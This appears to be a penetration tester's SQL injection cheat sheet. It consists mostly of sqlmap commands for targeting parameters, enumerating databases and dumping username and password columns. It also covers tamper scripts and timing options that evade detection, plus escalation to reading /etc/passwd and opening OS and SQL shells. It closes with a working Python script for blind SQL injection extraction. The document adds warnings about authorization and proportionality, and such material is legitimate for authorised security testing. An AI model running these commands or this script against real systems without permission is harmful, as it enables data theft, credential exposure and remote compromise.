Tooling

# Point at a confirmed parameter
sqlmap -u 'https://t/product?id=1' -p id

# Feed a saved Burp request — the most reliable way to carry
# auth, cookies, headers, and body encoding
sqlmap -r request.txt -p id

# POST body
sqlmap -u 'https://t/search' --data='q=test&page=1' -p q

# Authenticated session
sqlmap -u '...' --cookie='session=abc123'
sqlmap -u '...' --headers='Authorization: Bearer eyJ...'

# JSON body — mark the injection point with *
sqlmap -u 'https://t/api/users' \
  --data='{"filter":"*"}' --headers='Content-Type: application/json'

# Constrain the DBMS and technique once you know them
sqlmap -r request.txt --dbms=postgresql --technique=BT

# --technique letters:
#   B boolean-blind   E error-based   U union
#   S stacked         T time-blind    Q inline query

# Enumerate progressively — do not --dump-all reflexively
sqlmap -r request.txt --dbs                    # databases
sqlmap -r request.txt -D appdb --tables        # tables
sqlmap -r request.txt -D appdb -T users --columns
sqlmap -r request.txt -D appdb -T users -C username,password --dump

# Current context — cheap and proves impact
sqlmap -r request.txt --current-user --current-db --is-dba --banner

# Tune blind extraction throughput
sqlmap -r request.txt --threads=4              # parallel (respect rate limits)
sqlmap -r request.txt -T users --dump \
  --where="role='admin'"                        # extract a subset, not everything

# Proportionality: --dump one column with --where beats --dump-all.
# You rarely need the whole database to prove the finding.

# Tamper scripts transform payloads; chain them.
sqlmap -r request.txt --tamper=space2comment,between,randomcase
sqlmap -r request.txt --tamper=charunicodeencode,space2plus
sqlmap --list-tampers                          # see them all

# Look less like a scanner
sqlmap -r request.txt --delay=2 --random-agent \
  --safe-url='https://t/' --safe-freq=5

# risk/level raise coverage but also noise and destructiveness.
# level 1-5 (where to inject), risk 1-3 (how dangerous the tests).
# risk=3 includes OR-based tests that can UPDATE rows — be careful.
sqlmap -r request.txt --level=3 --risk=2

# --- Escalation. Authorization REQUIRED. Destructive. ---
sqlmap -r request.txt --file-read=/etc/passwd
sqlmap -r request.txt --os-shell        # drops a shell where feasible
sqlmap -r request.txt --sql-shell       # interactive SQL prompt
# These enable stacked writes, xp_cmdshell, COPY TO PROGRAM, etc.
# Do not point them at production without explicit written scope.

import requests

URL = "https://target.example/product"
TRUE_MARKER = "in stock"   # text present only when the condition is true

def oracle(condition: str) -> bool:
    payload = f"1 AND {condition}"
    r = requests.get(URL, params={"id": payload})
    return TRUE_MARKER in r.text

def extract_char(subquery: str, pos: int) -> str:
    # Binary search over printable ASCII: ~7 requests per character.
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(f"ASCII(SUBSTRING(({subquery}),{pos},1))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

def extract(subquery: str, length: int) -> str:
    return "".join(extract_char(subquery, i) for i in range(1, length + 1))

if __name__ == "__main__":
    # Demonstrate against a known value before trusting it on real data.
    version = extract("SELECT SUBSTRING(@@version,1,10)", 10)
    print("version:", version)